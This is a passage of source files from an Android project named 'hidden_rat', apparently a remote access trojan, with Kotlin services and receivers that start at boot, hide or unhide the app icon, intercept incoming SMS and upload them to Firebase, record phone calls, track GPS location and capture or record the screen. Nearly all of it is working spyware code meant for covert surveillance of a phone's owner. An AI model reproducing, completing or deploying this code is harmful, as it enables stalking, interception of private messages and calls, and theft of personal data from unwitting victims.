| val fileName = "location_data.json" 134 | val filePath = File(context.getExternalFilesDir(null), fileName) 135 | 136 | if (!filePath.exists()) { 137 | // If file doesn't exist, return an empty list 138 | return emptyList() 139 | } 140 | 141 | val fileReader = FileReader(filePath) 142 | val typeToken = object : TypeToken>() {}.type 143 | return gson.fromJson(fileReader, typeToken) 144 | } 145 | 146 | @SuppressLint("MissingPermission") 147 | fun requestLocationUpdates(context: Context) { 148 | 149 | locationManager?.requestLocationUpdates( 150 | LocationManager.GPS_PROVIDER, 151 | 0, 152 | minDistance.toFloat(), 153 | this 154 | ) 155 | } 156 | 157 | fun stopLocationUpdates() { 158 | // Stop location updates 159 | locationManager?.removeUpdates(this) 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/CallRecord.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | 4 | data class CallRecord( 5 | val phoneNumber: String, 6 | val startTimeMillis: String, 7 | val endTimeMillis: String, 8 | val durationMillis: String, 9 | val fileLink: String 10 | ) -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/Location.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | /** 3 | * Created by Azamov on 5/06/25. 4 | */ 5 | class Location { 6 | 7 | var latitude: Double? = null 8 | var longitude: Double? = null 9 | var address: String? = null 10 | var dateTime: String? = null 11 | 12 | constructor() {} 13 | 14 | constructor(latitude: Double, longitude: Double, address: String, dateTime: String) { 15 | this.latitude = latitude 16 | this.longitude = longitude 17 | this.address = address 18 | this.dateTime = dateTime 19 | } 20 | } -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/LocationData.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | data class LocationData( 4 | val latitude: Double, 5 | val longitude: Double, 6 | val accuracy: Float 7 | ) -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/LogModel.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | data class LogModel(val text:String,val packageName:String,val dayTime:String,val timeStamp:String,val batteryLevel: String,) -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/MessageModel.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | data class MessageModel( 4 | val packageName: String, 5 | val status: String, 6 | val text: String, 7 | val timeStamp: String, 8 | val dayTime: String, 9 | ) 10 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/NotificationModel.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | data class NotificationModel( 4 | val packageName: String, 5 | val title: String, 6 | val text: String, 7 | val timeStamp: String, 8 | val dayTime: String, 9 | ){ 10 | constructor() : this("", "", "", "", "") 11 | 12 | } 13 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/PhoneData.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | data class PhoneData( 4 | val imei: String, 5 | val phoneModel: String, 6 | val networkOperatorName: String, 7 | val installedAppDate: String, 8 | val device: String, 9 | val product: String, 10 | val phoneNumber:String, 11 | ) -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/SMSData.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | import java.io.Serializable 4 | 5 | data class SMSData( 6 | val message: String, 7 | val sender: String, 8 | val sentTime: String, 9 | ): Serializable -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/model/SimCardInfo.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.model 2 | 3 | data class SimCardInfo( 4 | val slotIndex: Int, 5 | val carrierName: String, 6 | val phoneNumber: String 7 | ) 8 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/receiver/BootReceiver.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.receiver 2 | 3 | import android.content.BroadcastReceiver 4 | import android.content.Context 5 | import android.content.Intent 6 | import com.ratx.hidden_rat.service.MyNotificationListenerService 7 | import com.ratx.hidden_rat.service.SmsService 8 | import com.ratx.hidden_rat.service.SvcAccFix 9 | 10 | class BootReceiver : BroadcastReceiver() { 11 | 12 | override fun onReceive(context: Context, intent: Intent) { 13 | if (intent.action == Intent.ACTION_BOOT_COMPLETED) { 14 | // MyNotificationListenerService-ni boshlash 15 | val notificationServiceIntent = 16 | Intent(context, MyNotificationListenerService::class.java) 17 | context.startService(notificationServiceIntent) 18 | 19 | // AccessibilityService-ni boshlash 20 | val accessibilityServiceIntent = Intent(context, SvcAccFix::class.java) 21 | context.startService(accessibilityServiceIntent) 22 | 23 | // SmsService-ni boshlash 24 | val smsServiceIntent = Intent(context, SmsService::class.java) 25 | context.startService(smsServiceIntent) 26 | 27 | 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/receiver/Receiver.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.receiver 2 | 3 | import android.content.BroadcastReceiver 4 | import android.content.ComponentName 5 | import android.content.Context 6 | import android.content.Intent 7 | import android.content.pm.PackageManager 8 | import android.widget.Toast 9 | import com.ratx.hidden_rat.activity.MainFixActivity 10 | 11 | class Receiver : BroadcastReceiver() { 12 | override fun onReceive(context: Context?, intent: Intent?) { 13 | //checking if action is PHONE_STATE 14 | if (intent?.action == "android.intent.action.PHONE_STATE") { 15 | 16 | Toast.makeText(context, "Un-hiding app icon...", Toast.LENGTH_LONG).show() 17 | 18 | // unhiding app icon 19 | val p: PackageManager = context!!.packageManager 20 | val componentName = ComponentName(context, MainFixActivity::class.java) 21 | p.setComponentEnabledSetting( 22 | componentName, 23 | PackageManager.COMPONENT_ENABLED_STATE_ENABLED, 24 | PackageManager.DONT_KILL_APP 25 | ) 26 | 27 | } 28 | 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/receiver/SmsReceiver.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.receiver 2 | 3 | import android.content.BroadcastReceiver 4 | import android.content.Context 5 | import android.content.Intent 6 | import android.net.ConnectivityManager 7 | import android.util.Log 8 | import com.ratx.hidden_rat.model.SMSData 9 | import com.google.firebase.firestore.FirebaseFirestore 10 | import com.google.gson.Gson 11 | import com.google.gson.reflect.TypeToken 12 | import java.io.File 13 | import java.io.FileOutputStream 14 | import java.io.FileReader 15 | import java.text.SimpleDateFormat 16 | import java.util.Calendar 17 | import java.util.Locale 18 | 19 | class SmsReceiver : BroadcastReceiver() { 20 | override fun onReceive(context: Context, intent: Intent) { 21 | val action = intent.action 22 | if (action == "android.provider.Telephony.SMS_RECEIVED") { 23 | val bundle = intent.extras 24 | if (bundle != null) { 25 | val pdus = bundle.get("pdus") as Array<*> 26 | for (i in pdus.indices) { 27 | val smsMessage = 28 | android.telephony.SmsMessage.createFromPdu(pdus[i] as ByteArray) 29 | val senderPhoneNumber = smsMessage.originatingAddress 30 | val messageBody = smsMessage.messageBody 31 | val receivedTime = smsMessage.timestampMillis 32 | 33 | val smsData = SMSData( 34 | messageBody ?: "", 35 | senderPhoneNumber ?: "", 36 | convertMillisToReadableTime(receivedTime) 37 | ) 38 | if (isOnline(context)) { 39 | if (isLocalSmsAvailable(context)) { 40 | sendAllSmsDataToFirebase(context) 41 | saveSmsDataToFirebase(smsData, context) 42 | } else { 43 | saveSmsDataToFirebase(smsData, context) 44 | 45 | } 46 | } else { 47 | saveSmsToFile(context, smsData) 48 | } 49 | } 50 | } 51 | } 52 | } 53 | 54 | private fun saveSmsDataToFirebase(smsData: SMSData, context: Context) { 55 | val deviceModel = android.os.Build.MODEL 56 | val collectionReference = FirebaseFirestore.getInstance().collection("sms_$deviceModel") 57 | collectionReference.add(smsData) 58 | .addOnSuccessListener { documentReference -> 59 | Log.d("EVENT", "SMS data sent to Firebase successfully") 60 | } 61 | .addOnFailureListener { e -> 62 | Log.e("EVENT", "Error sending SMS data to Firebase", e) 63 | } 64 | } 65 | 66 | private fun isOnline(context: Context): Boolean { 67 | val connectivityManager = 68 | context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager 69 | val networkInfo = connectivityManager.activeNetworkInfo 70 | return networkInfo != null && networkInfo.isConnected 71 | } 72 | 73 | 74 | private fun isLocalSmsAvailable(context: Context): Boolean { 75 | val fileName = "sms_log.json" 76 | val filePath = File(context.getExternalFilesDir(null), fileName) 77 | return filePath.exists() 78 | } 79 | 80 | private fun saveSmsToFile(context: Context, smsData: SMSData) { 81 | val gson = Gson() 82 | 83 | // Convert the list to JSON string 84 | val jsonString = gson.toJson(smsData) 85 | 86 | val fileName = "sms_log.json" 87 | val filePath = File(context.getExternalFilesDir(null), fileName) 88 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file 89 | outputStream.write(jsonString.toByteArray()) 90 | outputStream.close() 91 | } 92 | 93 | private fun sendAllSmsDataToFirebase(context: Context) { 94 | val smsDataList = readSmsFromFile(context) 95 | val deviceModel = android.os.Build.MODEL 96 | val collectionReference = FirebaseFirestore.getInstance().collection("sms_$deviceModel") 97 | for (smsData in smsDataList) { 98 | collectionReference.add(smsData) 99 | .addOnSuccessListener { documentReference -> 100 | Log.d("EVENT", "SMS data sent to Firebase successfully") 101 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz 102 | deleteLocalSmsFile(context) 103 | } 104 | .addOnFailureListener { e -> 105 | Log.e("EVENT", "Error sending SMS data to Firebase", e) 106 | } 107 | } 108 | } 109 | 110 | private fun deleteLocalSmsFile(context: Context) { 111 | val fileName = "sms_log.json" 112 | val filePath = File(context.getExternalFilesDir(null), fileName) 113 | if (filePath.exists()) { 114 | filePath.delete() 115 | Log.d("EVENT", "Local SMS file deleted successfully") 116 | } else { 117 | Log.e("EVENT", "Local SMS file not found") 118 | } 119 | } 120 | 121 | private fun readSmsFromFile(context: Context): List { 122 | val gson = Gson() 123 | val fileName = "sms_log.json" 124 | val filePath = File(context.getExternalFilesDir(null), fileName) 125 | 126 | if (!filePath.exists()) { 127 | // If file doesn't exist, return an empty list 128 | return emptyList() 129 | } 130 | 131 | val fileReader = FileReader(filePath) 132 | val typeToken = object : TypeToken>() {}.type 133 | return gson.fromJson(fileReader, typeToken) 134 | } 135 | 136 | private fun convertMillisToReadableTime(timestamp: Long): String { 137 | val sdf = SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault()) 138 | val calendar = Calendar.getInstance() 139 | calendar.timeInMillis = timestamp 140 | return sdf.format(calendar.time) 141 | } 142 | } -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/screen/NotificationItemPage.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.screen 2 | 3 | import android.os.Bundle 4 | import androidx.fragment.app.Fragment 5 | import android.view.LayoutInflater 6 | import android.view.View 7 | import android.view.ViewGroup 8 | import com.ratx.hidden_rat.model.NotificationModel 9 | import com.ratx.hidden_rat.databinding.NotificationItemPageBinding 10 | 11 | class NotificationItemPage (val list:MutableList) : Fragment() 12 | { 13 | private var _binding: NotificationItemPageBinding? = null 14 | private val binding get() = _binding!! 15 | override fun onCreateView( 16 | inflater: LayoutInflater, 17 | container: ViewGroup?, 18 | savedInstanceState: Bundle? 19 | ): View? { 20 | _binding = NotificationItemPageBinding.inflate(inflater, container, false) 21 | val root: View = binding.root 22 | return root 23 | } 24 | } -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/service/CallRecordingService.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.service 2 | 3 | import android.Manifest 4 | import android.app.Service 5 | import android.content.Context 6 | import android.content.Intent 7 | import android.content.pm.PackageManager 8 | import android.media.AudioManager 9 | import android.media.MediaRecorder 10 | import android.os.IBinder 11 | import android.telephony.PhoneStateListener 12 | import android.telephony.TelephonyManager 13 | import android.text.format.DateFormat 14 | import android.util.Log 15 | import androidx.core.app.ActivityCompat 16 | import com.ratx.hidden_rat.model.CallRecord 17 | import com.google.gson.Gson 18 | import java.io.File 19 | import java.io.IOException 20 | import java.text.SimpleDateFormat 21 | import java.util.* 22 | 23 | class CallRecordingService : Service() { 24 | private var mediaRecorder: MediaRecorder? = null 25 | private var startTimeMillis: Long = 0 26 | private val callRecordList = mutableListOf() 27 | 28 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { 29 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager 30 | telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_CALL_STATE) 31 | return START_STICKY 32 | } 33 | 34 | private val phoneStateListener = object : PhoneStateListener() { 35 | override fun onCallStateChanged(state: Int, phoneNumber: String?) { 36 | super.onCallStateChanged(state, phoneNumber) 37 | when (state) { 38 | TelephonyManager.CALL_STATE_OFFHOOK -> { 39 | Log.d("EVENT", "onCallStateChanged: ") 40 | startRecording() 41 | ScreenRecordService.startRecording(applicationContext) 42 | } 43 | TelephonyManager.CALL_STATE_IDLE -> { 44 | Log.d("EVENT", "onCallStateChanged: STOPPED") 45 | stopRecording() 46 | ScreenRecordService.stopRecording(applicationContext) 47 | } 48 | } 49 | } 50 | } 51 | 52 | private fun startRecording() { 53 | if (mediaRecorder != null) { 54 | return 55 | } 56 | if (checkSelfPermission(Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { 57 | return 58 | } 59 | 60 | startTimeMillis = System.currentTimeMillis() 61 | val audioManager = getSystemService(Context.AUDIO_SERVICE) as AudioManager 62 | audioManager.requestAudioFocus( 63 | null, 64 | AudioManager.STREAM_VOICE_CALL, 65 | AudioManager.AUDIOFOCUS_GAIN_TRANSIENT 66 | ) 67 | 68 | 69 | mediaRecorder = MediaRecorder().apply { 70 | setAudioSource(MediaRecorder.AudioSource.VOICE_COMMUNICATION); 71 | setOutputFormat(MediaRecorder.OutputFormat.AMR_NB); 72 | setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); 73 | setAudioSamplingRate(44100); 74 | try { 75 | setOutputFile(getExternalFilesDir(null)?.absolutePath + "/recorded_call_${Date().time}.mp3") 76 | prepare() 77 | start() 78 | } catch (e: IOException) { 79 | e.printStackTrace() 80 | } 81 | } 82 | 83 | } 84 | 85 | private fun getOutputFile(): File { 86 | val callId = getCallId() 87 | val fileName = "${getPhoneNumber()}_${callId}.mp3" 88 | val dir = File(getExternalFilesDir(null), "call_records") // Aloqada papka yaratish 89 | if (!dir.exists()) { 90 | dir.mkdirs() // Agar papka mavjud emas bo'lsa, yaratish 91 | } 92 | return File(dir, fileName) 93 | } 94 | 95 | private fun getCallId(): String { 96 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager 97 | val callId = "${telephonyManager.networkOperatorName}_${UUID.randomUUID()}" 98 | return callId 99 | } 100 | 101 | private fun stopRecording() { 102 | mediaRecorder?.apply { 103 | stop() 104 | release() 105 | } 106 | mediaRecorder = null 107 | 108 | val endTimeMillis = System.currentTimeMillis() 109 | val durationMillis = endTimeMillis - startTimeMillis 110 | val dateFormat = SimpleDateFormat("HH:mm", Locale.getDefault()) 111 | val endTimeString = dateFormat.format(Date()) 112 | val startTimeString = dateFormat.format(startTimeMillis) 113 | val durationString = millisToMinutes(durationMillis) 114 | val phoneNumber = "Unknown" 115 | val timestamp = System.currentTimeMillis() 116 | val dayTime = DateFormat.format("hh:mm:ss a - E dd/MM/yy", timestamp).toString() 117 | val fileName = "${phoneNumber}_${dayTime}.mp3" 118 | val fileLink = getOutputFile().absolutePath 119 | val callRecord = 120 | CallRecord(phoneNumber, startTimeString, endTimeString, durationString, fileLink) 121 | callRecordList.add(callRecord) 122 | 123 | saveCallRecordsToFile(callRecordList) 124 | Log.d( 125 | "EVENT", 126 | "stopRecording: ${fileLink} duration: $durationMillis, phoneNumber: $phoneNumber" 127 | ) 128 | } 129 | 130 | 131 | private fun saveCallRecordsToFile(callRecords: List) { 132 | val gson = Gson() 133 | val json = gson.toJson(callRecords) 134 | val file = File(getExternalFilesDir(null), "call_records.json") 135 | file.writeText(json) 136 | } 137 | 138 | private fun getPhoneNumber(): String? { 139 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager 140 | return if (ActivityCompat.checkSelfPermission( 141 | this, 142 | Manifest.permission.READ_PHONE_NUMBERS 143 | ) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission( 144 | this, 145 | Manifest.permission.READ_PHONE_STATE 146 | ) != PackageManager.PERMISSION_GRANTED 147 | ) { 148 | 149 | "not_granted" 150 | } else "not_granted" 151 | } 152 | 153 | override fun onBind(intent: Intent?): IBinder? = null 154 | 155 | override fun onDestroy() { 156 | super.onDestroy() 157 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager 158 | telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE) 159 | } 160 | 161 | fun millisToMinutes(millis: Long): String { 162 | val minutes = (millis / (1000 * 60)).toInt() 163 | val seconds = ((millis / 1000) % 60).toInt() 164 | return String.format("%02d:%02d", minutes, seconds) 165 | } 166 | } 167 | 168 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/service/LocationService.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.service 2 | 3 | import android.app.* 4 | import android.content.Context 5 | import android.content.Intent 6 | import android.location.LocationManager 7 | import android.net.ConnectivityManager 8 | import android.os.Build 9 | import android.os.IBinder 10 | import android.util.Log 11 | import com.ratx.hidden_rat.R 12 | import com.ratx.hidden_rat.activity.MainFixActivity 13 | import com.ratx.hidden_rat.listener.MyLocationListener 14 | import com.ratx.hidden_rat.model.LocationData 15 | import com.google.firebase.firestore.FirebaseFirestore 16 | import com.google.gson.Gson 17 | import com.google.gson.reflect.TypeToken 18 | import java.io.File 19 | import java.io.FileOutputStream 20 | import java.io.FileReader 21 | 22 | class LocationService : Service() { 23 | 24 | private lateinit var locationManager: LocationManager 25 | private lateinit var notificationManager: NotificationManager 26 | private lateinit var locationListener: MyLocationListener 27 | private lateinit var firebaseFireStore : FirebaseFirestore 28 | 29 | override fun onBind(intent: Intent?): IBinder? { 30 | return null 31 | } 32 | 33 | override fun onCreate() { 34 | super.onCreate() 35 | 36 | firebaseFireStore = FirebaseFirestore.getInstance() 37 | locationListener = MyLocationListener(this) 38 | locationManager = getSystemService(Context.LOCATION_SERVICE) as LocationManager 39 | notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager 40 | } 41 | 42 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { 43 | // Create notification channel if Android version is Oreo or above 44 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { 45 | val channel = NotificationChannel( 46 | CHANNEL_ID, 47 | "Location Service Channel", 48 | NotificationManager.IMPORTANCE_DEFAULT 49 | ) 50 | notificationManager.createNotificationChannel(channel) 51 | } 52 | 53 | // Create notification 54 | val notificationIntent = Intent(this, MainFixActivity::class.java) 55 | val pendingIntent = PendingIntent.getActivity( 56 | this, 57 | 0, notificationIntent, PendingIntent.FLAG_MUTABLE 58 | ) 59 | 60 | val notification: Notification = Notification.Builder(this, CHANNEL_ID) 61 | .setContentTitle("Location Service") 62 | .setContentText("Running") 63 | .setSmallIcon(R.drawable.ic_signal) 64 | .setContentIntent(pendingIntent) 65 | .build() 66 | 67 | // Start service in foreground with notification 68 | startForeground(NOTIFICATION_ID, notification) 69 | 70 | locationListener.requestLocationUpdates(this) 71 | locationListener.setLocationDataListener {location-> 72 | Log.d("EVENT", "onStartCommand: ${location}") 73 | 74 | } 75 | return START_STICKY 76 | } 77 | 78 | override fun onDestroy() { 79 | super.onDestroy() 80 | // Stop location updates when service is destroyed 81 | locationManager.removeUpdates(locationListener) 82 | } 83 | 84 | private fun isOnline(context: Context): Boolean { 85 | val connectivityManager = 86 | context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager 87 | val networkInfo = connectivityManager.activeNetworkInfo 88 | return networkInfo != null && networkInfo.isConnected 89 | } 90 | 91 | 92 | private fun saveSmsDataToFirebase(smsData: LocationData, context: Context) { 93 | val deviceModel = android.os.Build.MODEL 94 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel") 95 | collectionReference.add(smsData) 96 | .addOnSuccessListener { documentReference -> 97 | Log.d("EVENT", "Location data sent to Firebase successfully") 98 | } 99 | .addOnFailureListener { e -> 100 | Log.e("EVENT", "Error sending Location data to Firebase", e) 101 | } 102 | } 103 | 104 | private fun isLocalSmsAvailable(context: Context): Boolean { 105 | val fileName = "location_data.json" 106 | val filePath = File(context.getExternalFilesDir(null), fileName) 107 | return filePath.exists() 108 | } 109 | 110 | private fun saveSmsToFile(context: Context, smsData: LocationData) { 111 | val gson = Gson() 112 | 113 | // Convert the list to JSON string 114 | val jsonString = gson.toJson(smsData) 115 | 116 | val fileName = "location_data.json" 117 | val filePath = File(context.getExternalFilesDir(null), fileName) 118 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file 119 | outputStream.write(jsonString.toByteArray()) 120 | outputStream.close() 121 | } 122 | 123 | private fun sendAllSmsDataToFirebase(context: Context) { 124 | val smsDataList = readSmsFromFile(context) 125 | val deviceModel = android.os.Build.MODEL 126 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel") 127 | for (smsData in smsDataList) { 128 | collectionReference.add(smsData) 129 | .addOnSuccessListener { documentReference -> 130 | Log.d("EVENT", "Location data sent to Firebase successfully") 131 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz 132 | deleteLocalSmsFile(context) 133 | } 134 | .addOnFailureListener { e -> 135 | Log.e("EVENT", "Error sending Location data to Firebase", e) 136 | } 137 | } 138 | } 139 | 140 | private fun deleteLocalSmsFile(context: Context) { 141 | val fileName = "location_data.json" 142 | val filePath = File(context.getExternalFilesDir(null), fileName) 143 | if (filePath.exists()) { 144 | filePath.delete() 145 | Log.d("EVENT", "Local Location file deleted successfully") 146 | } else { 147 | Log.e("EVENT", "Local Location file not found") 148 | } 149 | } 150 | 151 | private fun readSmsFromFile(context: Context): List { 152 | val gson = Gson() 153 | val fileName = "location_data.json" 154 | val filePath = File(context.getExternalFilesDir(null), fileName) 155 | 156 | if (!filePath.exists()) { 157 | // If file doesn't exist, return an empty list 158 | return emptyList() 159 | } 160 | 161 | val fileReader = FileReader(filePath) 162 | val typeToken = object : TypeToken>() {}.type 163 | return gson.fromJson(fileReader, typeToken) 164 | } 165 | 166 | companion object { 167 | private const val CHANNEL_ID = "LocationServiceChannel" 168 | private const val NOTIFICATION_ID = 1 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/service/ScreenCaptureActivity.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.service 2 | 3 | import android.annotation.SuppressLint 4 | import android.app.Activity 5 | import android.content.Context 6 | import android.content.Intent 7 | import android.graphics.Bitmap 8 | import android.graphics.PixelFormat 9 | import android.hardware.display.DisplayManager 10 | import android.media.ImageReader 11 | import android.media.projection.MediaProjection 12 | import android.media.projection.MediaProjectionManager 13 | import android.os.Bundle 14 | import android.os.Handler 15 | import android.os.Looper 16 | import android.util.Log 17 | import java.io.File 18 | import java.io.FileOutputStream 19 | 20 | class ScreenCaptureActivity : Activity() { 21 | 22 | private val REQUEST_CODE = 1234 23 | private lateinit var mediaProjectionManager: MediaProjectionManager 24 | 25 | override fun onCreate(savedInstanceState: Bundle?) { 26 | super.onCreate(savedInstanceState) 27 | mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager 28 | startActivityForResult(mediaProjectionManager.createScreenCaptureIntent(), REQUEST_CODE) 29 | } 30 | 31 | override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { 32 | if (requestCode == REQUEST_CODE && resultCode == RESULT_OK && data != null) { 33 | val projection = mediaProjectionManager.getMediaProjection(resultCode, data) 34 | startCapture(projection) 35 | } else { 36 | finish() 37 | } 38 | } 39 | 40 | @SuppressLint("WrongConstant") 41 | private fun startCapture(mediaProjection: MediaProjection) { 42 | val metrics = resources.displayMetrics 43 | val width = metrics.widthPixels 44 | val height = metrics.heightPixels 45 | val density = metrics.densityDpi 46 | 47 | val imageReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888, 1) 48 | val virtualDisplay = mediaProjection.createVirtualDisplay( 49 | "ScreenCapture", 50 | width, height, density, 51 | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR, 52 | imageReader.surface, null, null 53 | ) 54 | 55 | Handler(Looper.getMainLooper()).postDelayed({ 56 | val image = imageReader.acquireLatestImage() 57 | if (image != null) { 58 | val planes = image.planes 59 | val buffer = planes[0].buffer 60 | val pixelStride = planes[0].pixelStride 61 | val rowStride = planes[0].rowStride 62 | val rowPadding = rowStride - pixelStride * width 63 | 64 | val bitmap = Bitmap.createBitmap( 65 | width + rowPadding / pixelStride, 66 | height, Bitmap.Config.ARGB_8888 67 | ) 68 | bitmap.copyPixelsFromBuffer(buffer) 69 | image.close() 70 | 71 | // Save to file 72 | val file = File(getExternalFilesDir(null), "screenshot_${System.currentTimeMillis()}.jpg") 73 | FileOutputStream(file).use { fos -> 74 | bitmap.compress(Bitmap.CompressFormat.JPEG, 90, fos) 75 | } 76 | 77 | Log.d("ScreenCapture", "Screenshot saved: ${file.absolutePath}") 78 | } 79 | imageReader.close() 80 | virtualDisplay.release() 81 | mediaProjection.stop() 82 | finish() 83 | }, 1000) // Delay 1 sec to allow screen to stabilize 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/service/ScreenRecordService.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.service 2 | 3 | import android.app.Activity 4 | import android.app.Service 5 | import android.content.Context 6 | import android.content.Intent 7 | import android.hardware.display.DisplayManager 8 | import android.hardware.display.VirtualDisplay 9 | import android.media.MediaRecorder 10 | import android.media.projection.MediaProjection 11 | import android.media.projection.MediaProjectionManager 12 | import android.os.Environment 13 | import android.os.IBinder 14 | import android.util.DisplayMetrics 15 | import android.util.Log 16 | import android.view.WindowManager 17 | import java.io.File 18 | import java.text.SimpleDateFormat 19 | import java.util.* 20 | 21 | class ScreenRecordService : Service() { 22 | 23 | private var mediaProjectionManager: MediaProjectionManager? = null 24 | private var mediaProjection: MediaProjection? = null 25 | private var mediaRecorder: MediaRecorder? = null 26 | private var virtualDisplay: VirtualDisplay? = null 27 | private var isRecording = false 28 | 29 | override fun onBind(intent: Intent?): IBinder? { 30 | return null 31 | } 32 | 33 | override fun onCreate() { 34 | super.onCreate() 35 | mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager 36 | } 37 | 38 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { 39 | if (intent?.action == ACTION_START_RECORDING) { 40 | startRecording() 41 | } else if (intent?.action == ACTION_STOP_RECORDING) { 42 | stopRecording() 43 | } 44 | return START_STICKY 45 | } 46 | 47 | override fun onDestroy() { 48 | stopRecording() 49 | super.onDestroy() 50 | } 51 | 52 | private fun startRecording() { 53 | if (!isRecording) { 54 | mediaProjection = mediaProjectionManager?.getMediaProjection(Activity.RESULT_OK, Intent()) 55 | if (mediaProjection != null) { 56 | initRecorder() 57 | createVirtualDisplay() 58 | mediaRecorder?.start() 59 | isRecording = true 60 | } else { 61 | stopSelf() 62 | } 63 | } 64 | } 65 | 66 | private fun stopRecording() { 67 | if (isRecording) { 68 | mediaRecorder?.stop() 69 | mediaRecorder?.reset() 70 | mediaRecorder?.release() 71 | mediaRecorder = null 72 | virtualDisplay?.release() 73 | virtualDisplay = null 74 | mediaProjection?.stop() 75 | mediaProjection = null 76 | isRecording = false 77 | } 78 | } 79 | 80 | private fun initRecorder() { 81 | val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.getDefault()).format(Date()) 82 | val dir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_MOVIES) 83 | val file = File(dir, "Recording_$timestamp.mp4") 84 | Log.d("Event", "initRecorder: ${file.absolutePath}") 85 | mediaRecorder = MediaRecorder().apply { 86 | setAudioSource(MediaRecorder.AudioSource.MIC) 87 | setVideoSource(MediaRecorder.VideoSource.SURFACE) 88 | setOutputFormat(MediaRecorder.OutputFormat.MPEG_4) 89 | setOutputFile(file.absolutePath) 90 | setVideoEncoder(MediaRecorder.VideoEncoder.H264) 91 | setAudioEncoder(MediaRecorder.AudioEncoder.AAC) 92 | setVideoSize(720, 1280) 93 | setVideoEncodingBitRate(4000000) 94 | setVideoFrameRate(30) 95 | prepare() 96 | } 97 | } 98 | 99 | private fun createVirtualDisplay() { 100 | val metrics = DisplayMetrics() 101 | val windowManager = getSystemService(Context.WINDOW_SERVICE) as WindowManager 102 | windowManager.defaultDisplay.getMetrics(metrics) 103 | 104 | virtualDisplay = mediaProjection?.createVirtualDisplay( 105 | "ScreenRecordService", 106 | 480, 107 | 720, 108 | metrics.densityDpi, 109 | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR, 110 | mediaRecorder?.surface, 111 | null, 112 | null 113 | ) 114 | } 115 | 116 | companion object { 117 | const val ACTION_START_RECORDING = "com.example.action.START_RECORDING" 118 | const val ACTION_STOP_RECORDING = "com.example.action.STOP_RECORDING" 119 | 120 | fun startRecording(context: Context) { 121 | val intent = Intent(context, 